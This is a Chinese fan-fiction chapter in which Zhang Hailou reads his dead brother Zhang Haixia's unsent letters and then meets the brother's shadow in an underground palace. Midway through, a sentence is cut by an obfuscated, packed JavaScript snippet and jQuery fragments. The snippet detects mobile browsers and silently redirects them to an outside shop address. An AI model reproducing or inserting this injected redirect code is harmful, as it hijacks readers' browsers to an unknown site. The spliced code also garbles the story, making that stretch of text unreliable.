张海楼没有等太久。
那条最窄最暗的巷子里，脚步声终于响起来了。和之前所有的脚步声都不一样——不是整齐划一的、沿着固定轨迹行进的步伐，而是缓慢的、迟疑的、走走停停的，像一个迷路的人在黑暗中摸索。
张海楼把油灯交给张海斗，从篝火里抽出一根烧了半截的火把，朝那条巷子走去。张起灵在他身后站起来，黑金古刀横在身前，没有跟上去，但也没有坐下。
巷口的黑暗浓得像一潭死水，火把的光推进去，被吞得只剩巴掌大的一圈昏黄。张海楼往里走了十来步，看见了那个影子。
原来是一个佝偻的老人，身形比之前所有的影子都要淡，淡到几乎只是空气中一缕若有若无的灰白色褶皱。
张海楼的心提起来，介于意料之外和意料之中。
它没有朝城门走，而是站在巷子深处一扇紧闭的木门前，右手举在半空中，保持着敲门的姿势。指节离门板只差一寸，但那一寸永远落不下去。
张海楼走到它身边，举起火把照了照那扇门。门很普通，和信城里大多数民宅的木门没有区别，但门楣上刻着极小的张家密文，笔迹是新的——不超过三年。
“家”。
这是张海侠的字。刻在这扇他永远敲不开的门上。
那个影子还在等。它保持着敲门的姿势，微微侧着头，像是在听门里的动静。门里什么都没有——张海楼知道，这扇门后面只是一间空置了百年的民宅，灰尘、蛛网、腐朽的家具，没有任何活人的气息。但这个影子不知道。或许它知道，但它还是要敲。因为一百年前的那一夜，它走到这里的时候，门没有开。它敲了，没有人应。然后它就被吞没了，变成了影子，和全城人一起被卷进叠影术的洪流。
但它的执念没有被卷走。一百年了，它每天晚上都回到这里，举起右手，等那扇门开。
张海楼看着那个影子，看了很久。然后他伸出手，替它敲了三下门。
咚。咚。咚。
门当然没有开。但那个影子的手落下来了。它转过头，看着张海楼。它的脸上没有五官，但张海楼觉得它在看他。不是看一个陌生人，而是看一个它也等了很久的人。然后它慢慢淡下去，像一层被风吹散的薄雾，从敲门的手指开始，一点一点碎成细密的光点，飘散在巷子里的夜风中。
最后一个影子消失了。巷子里恢复了黑暗和寂静。
张海楼把火把插在巷口的石缝里，转身往回走。张海斗举着油灯迎上来，张海婵跟在他身后半步，两个少年脸上都写着同一个问题——那个影子是谁？
张海楼没有回答。
忽然，他转了个身，舌底的三枚刀片在嘴里翻了个面，嘴唇微微一抿——张海斗还没反应过来，就看见一道银光从师父嘴里吐出去，快得像一颗子弹，笃的一声狠狠楔进了巷口那棵枯死的老槐树干里。入木三分，刀身还在嗡嗡地颤。
张海斗吓得把后半句话咽了回去。
张海楼站在原地，盯着树干上还在抖的刀片，胸口起伏了两下。他在等。他知道那条巷子里还有一个影子没出来。所有巷子的脚步声都响了，只有那条没有。
他以为——他以为最后那个会是张海侠。会是虾仔在信城里留下的最后一片叠影，走累了，迷路了，停在巷子深处等他来找。结果走出来的是一个佝偻的老伯，敲了一百年门都没人开。
不是哥哥。
不是，哥哥。
他感觉心里的焦躁要压制不住了。
他咬紧牙关，把嘴里的铁锈味咽下去，走到老槐树前，两指捏住刀身往外一拔，树皮上留了一道深深的裂口，像一张合不拢的嘴。他把刀片在袖口上蹭了两下，重新含进嘴里，舌根被刀锋冰得发麻。
“……明天我去趟他住处。”他说，声音已经恢复了平时的调子，好像刚才什么都没发生，“你们留在这里，跟族长他们待着。”
“我也去。”张海斗和张海婵几乎同时开口。
张海楼看了他们一眼，嘴角动了一下。“行。别乱碰东西。”
第二天清晨，三人重新穿过主街，拐进城西的窄巷，再次来到那座老宅前。白天的老宅和昨晚完全不同——阳光照在院子里，桂花树的枯枝上挂着的铁灯笼被照得泛出一层暖橙色的锈光，井沿上的青苔绿得发亮，连正房里那张空荡荡的木床都显得不那么冷了。
张海楼推开书房的门，走到书桌前，拉开了抽屉。那本《信城调查录》还在原处，和他昨天放回去时一模一样。他把笔记本拿出来翻了翻，翻到最后一页，发现后面多了一行字。不是张海侠的笔迹，墨迹很新。
“他的笔迹你认得了。我的呢。”
张海楼低头看着这行字，手指在纸页上停了片刻。他用拇指蹭了一下字迹的边缘，墨已经完全干了，但笔画转折处的力道让他想起一个人握刀的姿势——稳、准、不拖泥带水。他把笔记本揣进怀里，暂时不去想这行字是谁写的，开始在书桌前坐下来，系统地检查这间书房里每一件东西。书架上的残书一本一本翻过，抽屉里的杂物一件一件看过，墙角堆着的卷轴一幅一幅展开。
张海斗和张海婵在正房里帮忙，按照师父的指示把床上用品一件一件叠好、衣柜里的衣服一件一件取出来。
张海斗从衣柜底层翻出一只铁盒子，巴掌大小，生了一层薄锈，但合页还是好的。他摇了摇，里面发出轻微的沙沙声。“师父！找到一个盒子。”
张海楼接过铁盒子，拇指按住搭扣，轻轻一扳。盒盖弹开，里面整整齐齐叠着一沓符纸。黄的、红的，还有几张已经褪色到看不出原本颜色的。每一张都叠成同样大小的方块，按照时间顺序排列——最早的放在最底下，纸张已经脆得边缘起毛；最新的放在最上面，叠痕还是锋利的。
他从最上面拿起一张展开，符纸上的朱砂符文已经氧化成了暗褐色，但符纸背面的空白处有一行极小的铅笔字：“第七张。放在装备箱夹层里。”
他拿起第二张。“第十二张。塞在枕头底下。”
第三张。“第十九张。换洗衣服口袋。”
第四张、第五张、第六张。每一张的背面都记着同样的信息——第几张、放在哪里、是什么时候放的。铅笔字极小极淡，像是在做一份不愿意被任何人看到的档案。记录的人把这些符纸一张一张收集起来，按顺序归档，每一张都标注了来源和日期，像是在保存一批极其珍贵的文物。
张海楼把铁盒子放在桌上，把里面的符纸一张一张取出来，按背面标注的顺序在桌面上排开。第一张到第三十张，时间跨度几年，放置位置从枕头底下到换洗衣服口袋到装备箱夹层，没有一张遗漏。
记不得是多少天了。
送了护身符后，他好像突然打通了任督二脉，给张海侠塞了很多符纸。每次都是趁他不注意偷偷塞的——塞在换洗衣服口袋里、塞在枕头底下、塞在装备箱夹层里。塞完装作什么都没做，该喝茶喝茶，该骂人骂人。他以为张海侠不知道。他以为那些符纸被发现了就会被扔掉。他以为他做得很隐蔽。
事实是张海侠每一张都找到了。每一张都收好了。每一张都标注了。每一张都没有丢。
张海楼把铁盒子的盖子合上，放进自己怀里，和皮面本子、护身符贴在一起。在心里骂道——张海侠，天塌了都不吭一声，替他挡刀也不说，缝护身符也不说，把疯掉的半片意识封在井底也不说。
他以为自己是唯一一个在背后偷偷摸摸做这些事的人。结果不是。
张海侠也在偷偷摸摸地做。他偷着塞符纸，张海侠偷着收符纸。两个人都以为对方不知道，两个人都不说。
死了还要跟他比谁更会瞒。
“继续找。”
张海斗咽了口唾沫，不敢多问，转身继续翻衣柜。张海婵从床底下拖出一只藤条箱子，打开盖子，里面是几件旧衣服、一双磨穿了底的布鞋、一沓用油纸包好的信笺。她拿起最上面那封信，看了看信封上的落款，抬头喊了一声师父。
张海楼接过那沓信。一共七封，全部没有寄出去。每封信的信封上都写着同一个收件人，字迹全部是张海侠的。他拆开第一封。
“海楼：信城的事比我想象的复杂。张玄枢的手稿残缺不全，核心术法的部分被撕掉了好几页。我需要更多时间。你上次问我什么时候回来，我说很快。现在我不知道很快是多久。茶还是热的。等我回来。”
第二封。
“海楼：今天我在回声井下听到了一个声音。不是张玄枢留下的，是活人的声音。它在叫我的名字。我问了族长，他说回声井能记录声音，只要声音足够大、足够持久。什么样的声音才算足够大、足够持久？我不知道。但我忽然很想听听你的声音。”
第三封。
“海楼：我今天差点回去。走到渡口，船已经靠岸了，我上去了，船家问我去哪，我说随便。船开到江心的时候我下来了。因为我知道如果我现在回去，我就不会再回来了。不是不能回来，是不想再回来。而信城的事没做完。我必须做完。”
第四封。
“海楼：我找到反术的核心了。七个锚点，一个容器。锚点锁七情，容器锁命。七情锁在哪里都可以，但容器必须是和你有羁绊的东西。很巧，和你有羁绊的东西我有很多。不巧的是，每一件都是你给我的。更不巧的是，每一件我都留着。”
第五封。
“海楼：这封信不会寄出去。前面四封也不会。我只是想写。写下来就好像你已经看到了。你看到了一定会笑我——张海侠什么时候变得这么啰嗦。你肯定会这么说。我都能想象你嘲笑我的样子。刀片含久了舌根会发酸，你每次酸的时候会把刀片吐出来放在桌上。有一次你喝醉了把刀片吐出来，上面全是你的气息。”
张海楼的手指在这张信纸上停了很久。刀片还含在他嘴里，舌根果然有点发酸。
他把刀片吐出来放在桌上，和信纸上描述的动作一模一样——张海侠连这个都记得。连他舌根发酸会把刀片吐出来这种屁大的细节都记得。
然后他继续读。
第六封。
“海楼：我要回去了。反术的条件已经全部准备好，只差最后一步——把七情锁进锚点。锚点我选好了。七个锚点，每一个都是你的脸。不是故意选你的脸。是我试了其他东西，什么都锁不住。张玄枢用养子的脸锁七情，因为那是他最深的羁绊。我最深的羁绊也是一个人。似乎除了师父和你，我再也没有其他人了。”
第七封。
最后一封信的信封是空的。没有收件人，没有落款。信封没有封口，里面的信纸只有薄薄一张。张海楼把信纸抽出来，上面只有三行字，笔迹和前面六封完全不同——不是写信时的工整，也不是笔记里的平稳，而是一种被压到极限之后爆发出来的、几乎要从纸面上立起来的字。每一个字都像刻进石头里一样重。
“如果我活着回来，这封信作废。如果我死了，你迟早会找到这里。到那时候——海楼，不许哭。”
张海楼盯着最后三个字，忽然想笑。
不许哭。
这个人写遗书都要用命令句。七封信，前面六封写得工工整整，数据、日期、观测记录一条条列得清清楚楚，和写调查报告没什么两样。到了第七封，写到死，写到他会找到这里，忽然冒出来三个字——“不许哭”。好像哭这件事和张海楼的命之间，他必须先管住前者。
他一直都是这样。他觉得他能管住所有事——能管住自己的身体不被那个东西占据，能管住自己的意识不被吞掉，能管住自己的死不给任何人添麻烦。他甚至觉得自己能管住张海楼的眼泪，好像写三个字就能堵住他眼眶里的东西。
张海楼看着那三个字，心里只有一个念头。
管不了。
你把你那半片意识封在井底，管不了。你写七封信说不许哭，管不了。你觉得那是打断骨头连着筋的兄弟，在我这儿不是。
在我这儿，是：哥哥，我们一起死，别丢下我。
这句话他从来没说过。没机会说。张海侠从来不给他说这种话的机会，每次话题刚往这边偏一点，他哥就把话头掐了，换成一个极淡的笑或者一句“你想多了”。
他不说，他才是最该说的人。
张海楼把信纸折好，放回信封里，把七封信叠整齐，和铁盒子一起收进怀里。他站起来的时候膝盖撞到了桌腿，桌上的油灯差点倒下，张海斗眼疾手快扶住了。他摆了摆手示意没事，走到窗边，推开窗，让晨风吹进来。晨风带着枯枝上的露水味，灌进他的衣领里。他把手伸进衣领里按住护身符，站在原地望着窗外枯树上的铁灯笼。
那三行字他收下了。命令不接。
“师父，这堆东西——”张海斗指了指床上叠好的衣服和藤条箱，小心翼翼地问，“怎么处理？”
“衣服叠好放回去。箱子里的东西归我。”
张海斗哦了一声，低头继续干活。张海婵把藤条箱的盖子合上，轻轻放在师父脚边，没有说话。
张海楼在那间卧房里又待了一会儿。他没有再翻东西，只是在床沿坐了片刻，把张海侠睡过的枕头拿起来翻了翻，又把衣柜里那些深色衣服的领口一只一只检查过去，然后他把衣柜门关上，站起来，对张海斗和张海婵说回塔那边。
三人回到塔前广场的时候篝火已经熄了，张起灵坐在石阶上擦拭刀鞘，张海琪在旁边翻看一本泛黄的手抄本，看见他们回来，把本子合上。“有新发现？”
张海楼从怀里掏出那七封信，放在她手边。“他写给我的。前四封记录了他在信城的研究进展和——”他顿了一下，“和想回来又不能回来的原因。第五封说他拿走了我喝醉时吐出来的刀片。第六封说了锚点的选择。第七封只有三行字。”
张海琪没有问那三行字是什么。她只是低头看了看那沓信封上清一色的收件人笔迹，然后把信推回去给他。“你自己收好。这些东西以后不会有了。”
张海楼接过信，揣回怀里。他的怀里现在已经塞了不少东西——皮面本子、铁盒子、七封信，再加上脖子上的护身符和腰间那把短刀。张海斗看得直咋舌。师父以前出门最烦带东西，恨不得连换洗衣服都不拿，说妨碍他掏炸药。现在怀里塞得鼓鼓囊囊，走起路来却比任何时候都轻快。
“接下来。”张海琪看着他。
“等天黑，去地宫找你最爱的徒弟。”张海楼坐下来，手指沿着刀柄上慢慢划过去，把上面的暗纹和凹痕都摸了一遍。
张海斗憋了半天，终于忍不住问了一句：“师父，你说要去地宫找他——可是师伯不是在井底吗？尸体在井底，那半片意识也锁在井底。地宫里有什么？”
张海楼的手指停了一下。
“你记不记得，我们在江边遇到一只从水里伸出来的手。”
张海斗点头。
“那只手不是影傀——影傀是叠影术吞掉意识之后剩下的空壳，只能在信城范围内活动，出不了城门。那只手出现在江边，在信城外面。”
“那是……”
“是他。”张海楼低下头，“他把半片意识锁在井底，那是主叠影。但他在信城待了两个月，做的事太多了——查文献、刻密文、设锚点、锁七情。他把自己嵌进叠影术的核心结构里，和全城人共享同一套锚点系统。两个月，够叠影术把他复制不止一遍。”
他把短刀翻了个面，刀背搁在膝上。
“普通城民的影傀是碎片，只会做一件事。但虾仔不是被叠影术吞进去的受害者，他是主动走进去的研究者。他参与得越深，留下的残影越完整。井底那个是主叠影，锁着他最疯狂最偏执的部分。但他在这座城里留下的残影不止那一个——有些是天黑之后在地宫里游荡的，有些走得更远。江边那只手，就是其中一个。”
张海斗张了张嘴：“所以地宫里——”
“我猜会有他在这座城里留下的另一个残影。”张海楼抬起眼，目光越过篝火，落在地宫的塔门方向，“上次在地宫里，我没有看到它——但我感觉到了。我身后三步左右的空气有变化，温度降了一截。它在看我。我转身了，没碰到。但我知道它在。然后它主动散掉了。一个影傀不会主动散——它们连‘选择’的概念都没有。它能。说明它比别的残影都完整。能对话，能认人，能选择什么时候出来、什么时候消失。”
张海斗沉默了一会儿，低下头看着自己手里的弹弓。
“师父，你说它认得你。那它会不会也像那个老伯一样，一直在等？”
张海楼没有回答。
他转身朝地宫的塔门走去。心里想着，到时候告诉他，我找到了。他的信、他的符纸、他的笔记本、他的护身符——全在我身上。让他自己来看看。
暮色降下来的时候，张海楼没有再带风灯。地宫的路他已经走了三遍，闭着眼睛也能摸到祭坛中央——过木梯、穿石门、踩过灰白沙砾，每一步都踩在上次的脚印上。塔内地宫的黑暗是绝对的，伸手不见五指都不足以形容，祭坛这里的黑暗像是活的，会流动，会呼吸，会从四面八方涌过来压在身上。越往深处走空气越稠，灰白沙砾在脚下无声下陷，腥甜味浓得像含了一口锈水。
张海楼走到祭坛中央的石刻面孔旁边停下来，从怀里掏出皮面本子、铁盒子、七封信，一样一样排在石台上，然后把脖子上的护身符解下来放在最上面，最后把腰间的短刀拔出来搁在石台边缘。刃口朝外，刀柄朝着祭坛深处的方向。
“东西都在这儿了。你的信、你的符纸、你的笔记、你的护身符、你的刀。”他对着黑暗说，声音不高不低，像在喊一个站在不远处的熟人，“出来看看。”
黑暗没有回答。但他后脖颈的汗毛竖了起来——不是恐惧，是某种更深的、被注视的本能。
有人在看他。
从正前方，从祭坛最深处那片最浓的黑暗里。然后他看见了。一片比黑暗更深的黑暗从岩壁上剥离下来，缓慢地、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834570|211383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沉重地，像一层被水浸透的墨色绸缎从高处滑落。
张海楼的呼吸停了。
那层黑暗在离他十步左右的地方停住，边缘微微颤动，然后慢慢亮起来，本身的颜色从黑变成了灰白，从灰白变成了半透明，从半透明变成了一个轮廓。
杏白色的长衫。赤着的脚。
张海楼的身体先于脑子动了。
他不知道那十步是怎么跨过去的，只知道脚底踩过灰白沙砾的时候没有任何感觉，膝盖撞到了石台的边缘也感觉不到疼。他扑过去的力道大得像是要撞碎什么东西——撞碎那道十步的距离，撞碎半透明和血肉之间的界限，撞碎他找了整整三年才重新站到他面前的这个人身上所有不真实的部分。
他的手臂穿过了张海侠的肩膀，穿过了那层半透明的灰白色轮廓，指尖碰不到任何实体，只有一阵刺骨的寒意从手臂灌进来，一直灌到胸口，冻得他心脏猛地缩了一下。
他抱空了。
他低头看着自己的手臂——两条胳膊穿过了张海侠的身体，在那个半透明的轮廓里虚虚地拢着，拢住的只有空气。他的指节发白，指甲掐进了自己的掌心，掐出了四个深深的月牙印。可他感觉不到疼。他只想抓住什么东西——什么都可以——布料、皮肤、骨头、哪怕是那块冰冷的青石棺盖。可他什么都抓不住。
他的膝盖砸在地上，然后是额头。
额头抵着地面，后脑勺朝上，脖子折成一个像是要把自己缩回娘胎里的角度。灰白沙砾硌进他的额角，硌进他跪在地上的膝盖骨，硌进他攥紧的拳头缝隙里。
他的肩膀在抖，肩胛骨透过衣料凸出来，一上一下地剧烈起伏，像一只被捅穿了胸腔还在拼命扇动翅膀的鸟。他听见自己在说什么，声音从他喉咙里挤出来，破了，碎了，被灰白沙砾地上的沙粒磨成了一团分辨不出字句的含混声响。
他在说虾仔。虾仔。虾仔。
张海侠低头看着他。看着他跪在自己脚下，额头抵着地面，肩膀抖得像一片被暴风雨砸在礁石上的船帆。看着他的手指在灰白沙砾里刨出深深的沟痕，指甲缝里嵌满了沙粒。看着他整个人像是被什么东西从内部撕裂了一样，裂成了两半——一半在疯狂地往外掏，掏他的信、他的符、他的刀、他所有能证明他存在过的东西。一半在同样疯狂地往回收，想把自己团成一个谁也别想再撬开的壳。
“哥哥。”张海楼的声音从地面传来，闷在灰白沙砾和额角之间，含糊得几乎听不清，“你抱不到我。我也抱不到你。”
张海侠在他面前蹲了下来。他蹲在张海楼面前，近到如果他还有呼吸的话，气息会拂在张海楼后脑勺的头发上。
“我知道。”他说。
“我想抱你。就一下。”张海楼的声音里没有愤怒没有委屈没有撒娇，是那种已经把全身上下所有的情绪都掏干了、只剩下最后一口气撑着一句话的疲惫和绝望，“抱不到我就——”
他的手还在扒拉地上的灰白沙砾，已经不是在扒拉，是在用指甲抠，抠得指甲缝都翻了，渗出血丝和沙粒混在一起，糊满了整个指尖。他想说抱不到我就再试一次，再抱不到就再试一次，试到我能碰到你的骨头你的肉你的血为止，试到我的手臂冻僵在你身体里为止。
“海楼。”
语调平稳，不急不缓，和很多年前他掀了桌子、张海侠站在一地碎玻璃中间说“掀完了没有”时一模一样。
这句话响起后，张海楼的手指停在灰白沙砾里。肩膀还在抖，但没有刚才那么剧烈了。
“头抬起来。”
他没有抬头。他的额头还抵着地面，呼吸把灰白沙砾吹得轻轻颤动。然后他听到一个极轻极淡的笑声。
“我在这儿。抬头。”
张海楼抬起头。额角嵌满了灰白沙砾，鼻尖通红，眼眶红得更厉害——但没有眼泪。不是忍着不哭，是痛到极点的时候眼泪反而被烧干了，只剩一双干涸的、布满血丝的眼睛，死死地盯着面前这张脸。眉骨，鼻梁，嘴唇的弧度，睫毛投在眼睑上的淡灰色阴影。每一处都是他刻进骨头里的记忆。
张海侠的指尖悬停在他脸颊旁边不到一寸的位置。碰不到，但他悬着没有收回去。他的手停在那里，停在张海楼脸颊外侧的空气中，像是在隔着一层看不见的玻璃摸他的脸。
“你翻了我的柜子。”
张海楼听见自己的声音从喉咙里挤出来，带着一种被强行拽回正常轨道的生涩：“……翻了。”
“床底下也翻了。”
“藤条箱里的信也看了。”
“铁盒子里的符纸背面有字。”
“看到了。每一张都写了——第几张、放在哪里、什么时候放的。”
张海侠的睫毛往下压了一线——这是张海侠忍泪时才有的微表情。叠影没有眼泪，但这个动作刻在他的行为惯性里，和赤脚蜷趾一样，骗不了人。
“你拿走了全部。”
“全部。”张海楼拍了拍胸口，动作还带着刚才发疯时残留的僵硬，拍得砰砰响，皮面本子和铁盒子硬邦邦地硌着他的胸骨，“你的命在我这儿。你的七情刻在我脸上。你写给我七封信，一封都没寄出去。你收了我三十张符纸，一张都没丢。张海侠——”
他把短刀从石台上拿起来，刃口朝自己，刀柄朝张海侠，递出去。手还在抖，刀尖跟着晃，但他不打算收回来。
“你还有什么没拿出来的？”张海楼心里的暴戾隐隐要控制不住了，他太想眼前这个人了。
张海侠伸出手，指尖悬停在刀柄上方不到一寸的位置，没有碰。然后他说了一句张海楼没想到的话。
“剩下的不在我这里。在你那里。”
张海楼眯起眼睛。“什么意思。”
“你记得第七封信上我写了什么。”
“不记得了。”他的语气忽然变得很硬，“不许哭”那三个字他不想再看到第二遍。
但张海侠显然不打算放过他。“我给你留了那么多东西——刀、符纸、护身符、笔记、信、七个锚点、一口回声井。这些都是我的。你给了我什么？”
张海楼张了张嘴。舌底的刀片转了一圈，又转了一圈。他想说他给过——一条命，一年里没日没夜地寻找，从南洋追到南羌，从活人的世界追到死人的地盘。他给过他喝了吐吐了喝的无数个烂醉的夜晚，给过他船上甲板上坐到天亮的后背，给过他看见玉兰花就绕道走、看见刀片就发呆、看见任何和“张海侠”三个字沾边的东西就走不动路的那一整年。他想说刚才他跪在地上叫了那么多声“虾仔”，喉咙都叫破了，那也算他给的。但这些东西张海侠都知道，不用他说。张海侠问的不是这些。
他看着张海楼沉默的样子，嘴角那个弧度又浮上来了，是某种只有在他确认自己不会被推开的时候才会流露的、极罕见的笃定。
“你不知道。”张海侠的语气里甚至带上了一丝若有若无的笑意，“我告诉你。你给了我一样你自己都不知道的东西。就在我住的地方。”
张海楼飞快地把在信城见过的东西从头到尾滤了一遍——祭坛上的石刻、七个石龛、回声井、壁画上的刀片、墙上的无脸人形。没有一样是他给张海侠的。全是张海侠留给他的。
“想不起来。”张海侠看着他思索的表情，那丝若有若无的笑意变成了一个极其克制的、几乎称不上笑的弧度——嘴角只比平时多上扬了一线，但眼睛里的温度把这一线染成了某种比笑更久的东西，“你下次来，我告诉你。今晚先回去。”
他的轮廓开始变淡了。从边缘开始，灰白色的半透明轮廓碎成细密的光点。他主动后退了一步，让自己的身体重新融入岩壁上的黑暗里。张海楼看到他的脚趾在地上蜷了一下——和生前赤脚踩在凉地板上退后一步的动作一模一样。但在即将完全消失的最后一瞬，他停下来，说了一句话。
“你来了。我很高兴。”
张海楼想抓住他，但都是徒劳，他只能久久站在叠影出现过的位置，面前是重新归于沉寂的黑暗。他的膝盖还在疼，手指甲缝里还嵌着灰白沙砾和半干的血丝，额角被沙粒硌出的红印还没消。
但他无心关心这些，只知道虾仔来了，又走了。
他其实很想炸翻这个祭坛，让这个世界都见鬼去吧。他只想和哥哥一起死。但他更想问这个世界：还有什么是需要我做的？我还要做些什么才能复活我的哥哥？
他把石台上的东西一件一件收回怀里——铁盒子、皮面本子、七封信、护身符。全部收好，全部贴着胸口。
然后转身往回走。他还能等，等到张海侠能活着站在他面前、张开那双冷冰冰的手相拥的那一天。他知道这一天也许要很久才会来，也许明天就来。但不管如何，他一定要做到的，就是攥紧所有的线索，攥到指节发白，攥到虎口酸痛，攥到他哥终于从井底走出来，站在他面前，用他最熟悉的那种平稳语调说——
“海楼，我回来了。”
到那时候，他才会松开手。